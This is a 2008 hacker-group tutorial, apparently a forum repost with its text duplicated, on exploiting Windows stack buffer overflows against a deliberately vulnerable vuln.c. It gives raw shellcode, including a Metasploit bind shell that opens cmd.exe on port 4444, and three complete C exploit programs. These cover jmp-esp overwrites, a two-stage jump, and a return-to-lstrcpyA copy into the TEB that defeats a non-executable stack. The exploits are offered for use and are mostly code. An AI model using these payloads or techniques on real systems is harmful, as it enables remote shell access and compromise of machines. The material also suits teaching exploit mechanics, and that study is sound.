bY suN8Hclf | crimsoN_Loyd9
DaRk-CodeRs Group production, kid
www.dark-coders.4rh.eu
suN8Hclf[at]vp{dot}pl
09/03/2008 (English version)
Introduction
Shellcodes
vuln.c
The first method
The second method
The third method
Conclusion
This is not just another paper describing basics of buffer overflows. There are lots of publications about this topic, therefore it does not make any sense to describe it again. If you are familar with exploiting buffer overflows on Windows platform, do not think that this article has nothing to offer you. It shows some interesting methods, which can be used during writing an exploit (for example: where to put shellcode when stack is non-executable). Basic knowledge of x86 processors, Assembly and C languages and buffer overflows exploitation are required.
The ability to overflow a buffer on the stack, gives us the full control over the EIP register of x86 processor. Yep!!! This is great!!! We can load this register with every address we want, and then force a vulnerable program to jump there and to execute code that is at that address.
The problem occures when we want to execute the code, which WE want to be executed and not the code, which is actualy in the memory. To achive it, we have got to place OUR code in the memory of process we are attacking. This code is known as shellcode and it consists of a set of instructions for processor, additionaly encoded in their hex values.
In this paper I will discuss three possible locations in memory, where we can put our shellcode and than, how to force the vulnerable application to execute it. During this tutorial we will be using two shellcodes, of different size.
The first, written by me:
1. Loads user32.dll library to process memory
2. Calls MessageBoxA
3. Calls ExitProcess(0) to terminate process
The second, was generated in Metasploit Framework. It binds Windows shell (cmd.exe) to port 4444.
Three methods (possible locations in memory) I will describe are the following:
1. On the stack, behind the buffer that smashes the stack(so behind
the return address).
2. In buffer, which overflows buffer on the stack
3. In TEB block
The first shellcode (64 bytes)
In details:
I have written it under Windows 2000 Service Pack 4. If you are using another Windows platform, you should change address of LoadLibraryA, MessageBoxA and ExitProcess in kernel32 and User32 to good ones. As you can see, this simple code simply invokes MessageBoxA and then it terminates the process.
The second shellcode(399 bytes)
Here is a code of the vuln.c program, which we'll be attacking using three methods:
As you can see, there is a possibility (in foo() function) to overflow a buffer on the stack. Strcpy() function does not check the length of "source" data.
NOTE1:
================================================== ================================
|To make our think much simpler, let's assume that 620 bytes is |
|the maximum size of data that DOES NOT overwrite return address on the stack. |
================================================== ================================
This is probably the most popular and the most simple method. We fill entire buffer (620 bytes) with "chunk", the return address we overwrite with jump(call, jmp), and then we place our shellcode. The buffer, which exploits the vuln.c program with this method looks like it:
[620 bytes of chunk][jmp esp, call esp][some NOP's][shellcode]
We assume that ESP register points to our shellcode during overflow (shellcode is on the top of the stack).
Here is the exploit:
This method works correctly, but is very limited. Why?
Our shellcode must be SMALL. If you use long shellcode (for example the second one from this paper) it will be cut. Therefore using this method we won't force the vuln.c program to execute or second shellcode. To do it we have got to use the second method.
To execute long shellcodes we need much more place: 399 bytes + NOP sledge (in our example). If the buffer in an application, which we are attacking, is big (620 bytes in vuln.c), we can place THERE our shellcode and jump to the begining of our code in buffer. This is how most of exploits for linux < 2.6 works. Buffer looks like it:
[NOP sledge][REAL SHELLCODE][call esp, jmp esp][some NOP's][MINI SHELLCODE]
As you can see, we have got to use two shellcode's:
REAL SHELLCODE -> this is our shellcode, which we want to be executed
MINI SHELLCODE -> this is a small shellcode, which will be executed with
the first method. It will only jump to the REAL SHELLCODE.
In our example (vuln.c) the ECX register points to the end of buffer.
Therefore we can use it, to jump at the beggining of the buffer.
We can do it by:
dec ch
dec ch
jmp ecx
Of course, you may need to change it. The most important thing is that the ECX register, must point to the NOP sledge before REAL SHELLCODE after the execution of MINI SHELLCODE.
Exploit:
Of course, all values in this example were counted, and they won't be good any time. You have got to do the math yourself 
Ok, it works, but what if the stack is non-executable ?
If the stack memory was configured to firbid the execution of code that is placed on it, we have to choose another place to store our shellcode. We can, for example, choose TEB block. Every block has 520 bytes buffer used during Unicode to ASCII strings conversion. This buffer is shiffted(placed) 0xC00 bytes from the beggining of TEB block. The TEB block of the first process's thread has address 0x7FFDE000 so the free buffer for our shellcode is at 0x7FFDEC00 (0x7FFDE000 + 0xC00). Becouse this address ends with NULL byte, we should change it to, for example, 0x7FFDEC04. But here is a trap. If our exploit did use any function that uses the buffer in TEB block for conversion between Unicode and ASCII, the attacked process would probably crash down and our shellcode would not be executed.
Too bad...
But there are some others free locations in TEB block that are not used. For example, starting from 0x7FFDE1BC there is a buffer containing only NULL bytes, which we can overwrite. So this is how our buffer, which will be sent to vuln.c, looks like:
[NOP sledge][shellcode][some NOPs][STR_FUNC][STR_FUNC_RET][DEST_BUF][SRC_BUF]
where:
STR_FUNC (620-624 bytes) -> the address of function, which will be used to copy our NOP sledge+shellcode to TEB block (lstrcpyA or lstrcatA).
STR_FUNC_RET (624-628 bytes) -> the return address for STR_FUNC. In our example we are jumping to our buffer with shellcode at 0x7FFDE1BC.
DEST_BUF (628-632 bytes) -> address of the location where we are copying our shellcode.
TEB block (0x7FFDE1BC) in our case.
SRC_BUF (632-636 bytes) -> the address from which we are copying our code. In our example, we copy NOP sledge and shellcode. Get this address from vuln.c program.
And the third exploit:
After invoking this exploit, and typing :
> netstat -a
you should see opened port -> 4444. Good...
Our shellcode should be less than 520 bytes long, to not to overflow the next TEB or PEB block.
The three methods presented in this paper are quite useful during writting the buffer overflows exploit.
If you guys have any ideas that u want me to write about plz dont hesitate to ask me i have over like 250 tutorials that i have made and have been posting all across diffrent forums so u have any tut that u want to see just ask me
All comments, sugestions, questions -> send to:
suN8Hclf[at]vp{dot}pl OR crimson{dot}loyd[at]gmail{dot}com
DaRk-CodeRs Group production, kid
www.dark-coders.4rh.eu
suN8Hclf[at]vp{dot}pl
09/03/2008 (English version)
Introduction
Shellcodes
vuln.c
The first method
The second method
The third method
Conclusion
Introduction
This is not just another paper describing basics of buffer overflows. There are lots of publications about this topic, therefore it does not make any sense to describe it again. If you are familar with exploiting buffer overflows on Windows platform, do not think that this article has nothing to offer you. It shows some interesting methods, which can be used during writing an exploit (for example: where to put shellcode when stack is non-executable). Basic knowledge of x86 processors, Assembly and C languages and buffer overflows exploitation are required.
The ability to overflow a buffer on the stack, gives us the full control over the EIP register of x86 processor. Yep!!! This is great!!! We can load this register with every address we want, and then force a vulnerable program to jump there and to execute code that is at that address.
The problem occures when we want to execute the code, which WE want to be executed and not the code, which is actualy in the memory. To achive it, we have got to place OUR code in the memory of process we are attacking. This code is known as shellcode and it consists of a set of instructions for processor, additionaly encoded in their hex values.
In this paper I will discuss three possible locations in memory, where we can put our shellcode and than, how to force the vulnerable application to execute it. During this tutorial we will be using two shellcodes, of different size.
The first, written by me:
1. Loads user32.dll library to process memory
2. Calls MessageBoxA
3. Calls ExitProcess(0) to terminate process
The second, was generated in Metasploit Framework. It binds Windows shell (cmd.exe) to port 4444.
Three methods (possible locations in memory) I will describe are the following:
1. On the stack, behind the buffer that smashes the stack(so behind
the return address).
2. In buffer, which overflows buffer on the stack
3. In TEB block
0x01 Shellcodes
The first shellcode (64 bytes)
Code:
char shellcode[]= "\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5B\x33\xC9\x83\xC3" "\x35\x88\x0B\x83\xEB\x06\x53\xB8\xCF\x05\x35\x79\xFF\xD0" "\x33\xC9\x51\x53\x53\x51\x05\x11\x11\x11\x11\x2D\x79\x90" "\x0E\x11\xFF\xD0\x33\xC9\x51\xB8\x1A\xE0\x34\x79\xFF\xD0" "\x75\x73\x65\x72\x33\x32\x61";
Code:
00401B7C EB 02 JMP SHORT vuln.00401B80 00401B7E EB 05 JMP SHORT vuln.00401B85 00401B80 E8 F9FFFFFF CALL vuln.00401B7E 00401B85 5B POP EBX 00401B86 33C9 XOR ECX,ECX 00401B88 83C3 35 ADD EBX,35 00401B8B 880B MOV BYTE PTR DS:[EBX],CL 00401B8D 83EB 06 SUB EBX,6 00401B90 53 PUSH EBX 00401B91 B8 CF053579 MOV EAX,KERNEL32.LoadLibraryA //check address of LoadLibraryA on your own 00401B96 FFD0 CALL EAX 00401B98 33C9 XOR ECX,ECX 00401B9A 51 PUSH ECX 00401B9B 53 PUSH EBX 00401B9C 53 PUSH EBX 00401B9D 51 PUSH ECX 00401B9E 05 11111111 ADD EAX,11111111 00401BA3 2D 79900E11 SUB EAX,110E9079 00401BA8 FFD0 CALL EAX //here, in eax should be an address of 00401BAA 33C9 XOR ECX,ECX //MessageBoxA function 00401BAC 51 PUSH ECX 00401BAD B8 1AE03479 MOV EAX,KERNEL32.ExitProcess //address of ExitProcess 00401BB2 FFD0 CALL EAX 00401BB4 75 73 JNZ SHORT vuln.00401C29 00401BB6 65:72 33 JB SHORT vuln.00401BEC 00401BB9 3261 XOR AL,BYTE PTR DS:[EAX]
The second shellcode(399 bytes)
Code:
// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ]http://site.com/ unsigned char shellcode[] ="\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85" "\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19" "\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05" "\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0" "\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74" "\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15" "\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14" "\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53" "\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce" "\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf" "\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb" "\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18" "\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6" "\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16" "\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f" "\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c" "\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18" "\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f" "\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8" "\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e" "\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f" "\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27" "\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2" "\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a" "\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";
vuln.c
Here is a code of the vuln.c program, which we'll be attacking using three methods:
Code:
-------------vuln.c------------------------
#include <stdio.h>
#include <stdlib.h>
int foo(char *);
int main(int argc, char *argv[])
{
if(argc != 2)
return printf("Supply an argument, dude\n");
foo(argv[1]);
return 0;
}
int foo(char *input)
{
unsigned char buffer[600]="";
printf("%.8X\n", &buffer);
strcpy(buffer, input);
return 0;
}
-------------vuln.c------------------------
NOTE1:
================================================== ================================
|To make our think much simpler, let's assume that 620 bytes is |
|the maximum size of data that DOES NOT overwrite return address on the stack. |
================================================== ================================
The first method
This is probably the most popular and the most simple method. We fill entire buffer (620 bytes) with "chunk", the return address we overwrite with jump(call, jmp), and then we place our shellcode. The buffer, which exploits the vuln.c program with this method looks like it:
[620 bytes of chunk][jmp esp, call esp][some NOP's][shellcode]
We assume that ESP register points to our shellcode during overflow (shellcode is on the top of the stack).
Here is the exploit:
Code:
----------------exploit1.c------------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#define RET 0x7935EDBB /* ATTENTION!!! Change it. Search kernel32.dll
or any other library for jmp esp or call esp
instruction and then save the address */
#define TRASH 0x41
char shellcode[]=
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5B\x33\xC9\x83\xC3"
"\x35\x88\x0B\x83\xEB\x06\x53\xB8\xCF\x05\x35\x79\xFF\xD0"
"\x33\xC9\x51\x53\x53\x51\x05\x11\x11\x11\x11\x2D\x79\x90"
"\x0E\x11\xFF\xD0\x33\xC9\x51\xB8\x1A\xE0\x34\x79\xFF\xD0"
"\x75\x73\x65\x72\x33\x32\x61";
int main(int argc, char *argv[])
{
char *bufExe[3];
char buf[700];
int i;
char *ptr = buf;
memset(buf, 0, sizeof(buf));
bufExe[0] = "vuln.exe";
bufExe[2] = NULL;
for(i=0;i<620;i++)
(*ptr++) = TRASH; //620 bytes of chunk
*(unsigned long *)&buf[620] = RET; //then return address = jmp esp, call esp
strcat(buf, "\x90\x90\x90\x90"); //small NOP sledge
strcat(buf, shellcode); //and our first shellcode
bufExe[1] = buf;
execve(bufExe[0],bufExe,NULL);
return 0;
}
----------------exploit1.c------------------------
Our shellcode must be SMALL. If you use long shellcode (for example the second one from this paper) it will be cut. Therefore using this method we won't force the vuln.c program to execute or second shellcode. To do it we have got to use the second method.
The second method
To execute long shellcodes we need much more place: 399 bytes + NOP sledge (in our example). If the buffer in an application, which we are attacking, is big (620 bytes in vuln.c), we can place THERE our shellcode and jump to the begining of our code in buffer. This is how most of exploits for linux < 2.6 works. Buffer looks like it:
[NOP sledge][REAL SHELLCODE][call esp, jmp esp][some NOP's][MINI SHELLCODE]
As you can see, we have got to use two shellcode's:
REAL SHELLCODE -> this is our shellcode, which we want to be executed
MINI SHELLCODE -> this is a small shellcode, which will be executed with
the first method. It will only jump to the REAL SHELLCODE.
In our example (vuln.c) the ECX register points to the end of buffer.
Therefore we can use it, to jump at the beggining of the buffer.
We can do it by:
dec ch
dec ch
jmp ecx
Of course, you may need to change it. The most important thing is that the ECX register, must point to the NOP sledge before REAL SHELLCODE after the execution of MINI SHELLCODE.
Exploit:
Code:
------------------exploit2.c-----------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#define RET 0x7935EDBB //see comments in exploit1.c
#define NOP 0x90
unsigned char shellcode[] =
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";
char mini[]=
"\xFE\xCD" // dec ch
"\xFE\xCD" // dec ch
"\xFF\xE1"; /* jmp ecx (the ECX register should point to the NOP
sledge before REAL shellcode) */
int main(int argc, char *argv[])
{
char *bufExe[3];
char buf[700];
int i;
char *ptr = buf;
memset(buf, 0, sizeof(buf));
bufExe[0] = "vuln.exe";
bufExe[2] = NULL;
for(i=0;i<160;i++)
(*ptr++) = NOP; //load 160 NOPs (counted value)
strcat(buf, shellcode); //load our shellcode (399 bytes)
strcat(buf, "\x90"); //load one NOP to gain rounded value 560 (160+399=559)
for(i=0;i<12;i++)
strcat(buf, "\x90\x90\x90\x90\x90"); //load some NOPs to be 620 bytes (620-560=60)
*(unsigned long *)&buf[620] = RET; //now jump to MINI SHELLCODE(call esp)
strcat(buf,"\x90\x90\x90\x90"); //some NOPs
strcat(buf, mini); //MINI SHELLCODE
bufExe[1] = buf;
execve(bufExe[0],bufExe,NULL);
return 0;
}
------------------exploit2.c-----------------------
Ok, it works, but what if the stack is non-executable ?0x05 The third method
If the stack memory was configured to firbid the execution of code that is placed on it, we have to choose another place to store our shellcode. We can, for example, choose TEB block. Every block has 520 bytes buffer used during Unicode to ASCII strings conversion. This buffer is shiffted(placed) 0xC00 bytes from the beggining of TEB block. The TEB block of the first process's thread has address 0x7FFDE000 so the free buffer for our shellcode is at 0x7FFDEC00 (0x7FFDE000 + 0xC00). Becouse this address ends with NULL byte, we should change it to, for example, 0x7FFDEC04. But here is a trap. If our exploit did use any function that uses the buffer in TEB block for conversion between Unicode and ASCII, the attacked process would probably crash down and our shellcode would not be executed.
Too bad...
But there are some others free locations in TEB block that are not used. For example, starting from 0x7FFDE1BC there is a buffer containing only NULL bytes, which we can overwrite. So this is how our buffer, which will be sent to vuln.c, looks like:
[NOP sledge][shellcode][some NOPs][STR_FUNC][STR_FUNC_RET][DEST_BUF][SRC_BUF]
where:
STR_FUNC (620-624 bytes) -> the address of function, which will be used to copy our NOP sledge+shellcode to TEB block (lstrcpyA or lstrcatA).
STR_FUNC_RET (624-628 bytes) -> the return address for STR_FUNC. In our example we are jumping to our buffer with shellcode at 0x7FFDE1BC.
DEST_BUF (628-632 bytes) -> address of the location where we are copying our shellcode.
TEB block (0x7FFDE1BC) in our case.
SRC_BUF (632-636 bytes) -> the address from which we are copying our code. In our example, we copy NOP sledge and shellcode. Get this address from vuln.c program.
And the third exploit:
Code:
------------------------exploit3.c----------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#define TEB 0x7FFDE1BC // the location where we are copying our code
#define BUF_ADDR 0x0013B870 //address of buffer from vuln.c
#define STRCPY_FUNC 0x7935DF5C //address of lstrcpyA in kernel32.dll for Win2000
unsigned char shellcode[] =
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";
int main(int argc, char *argv[])
{
char *bufExe[3];
char buf[770];
int i,y;
bufExe[0] = "vuln.exe";
bufExe[2] = NULL;
memset(buf, 0, sizeof(buf));
for(i=0;i<25;i++)
strcat(buf, "\x90\x90\x90\x90"); //100 bytes of NOP
for(i=strlen(buf), y=0;y<sizeof(shellcode);y++,i++)
buf[i] = shellcode[y]; //our shellcode
for(i;i<621;i++)
strcat(buf, "\x90"); //and fill the rest of buffer with NOP's (total 620 bytes)
*(unsigned long *)&buf[620] = STRCPY_FUNC;
*(unsigned long *)&buf[624] = TEB;
*(unsigned long *)&buf[628] = TEB;
*(unsigned long *)&buf[632] = BUF_ADDR;
bufExe[1] = buf;
execve(bufExe[0],bufExe,NULL);
return 0;
}
------------------------exploit3.c----------------------
> netstat -a
you should see opened port -> 4444. Good...
Our shellcode should be less than 520 bytes long, to not to overflow the next TEB or PEB block.
Conclusion
The three methods presented in this paper are quite useful during writting the buffer overflows exploit.
If you guys have any ideas that u want me to write about plz dont hesitate to ask me i have over like 250 tutorials that i have made and have been posting all across diffrent forums so u have any tut that u want to see just ask me
All comments, sugestions, questions -> send to:
suN8Hclf[at]vp{dot}pl OR crimson{dot}loyd[at]gmail{dot}com
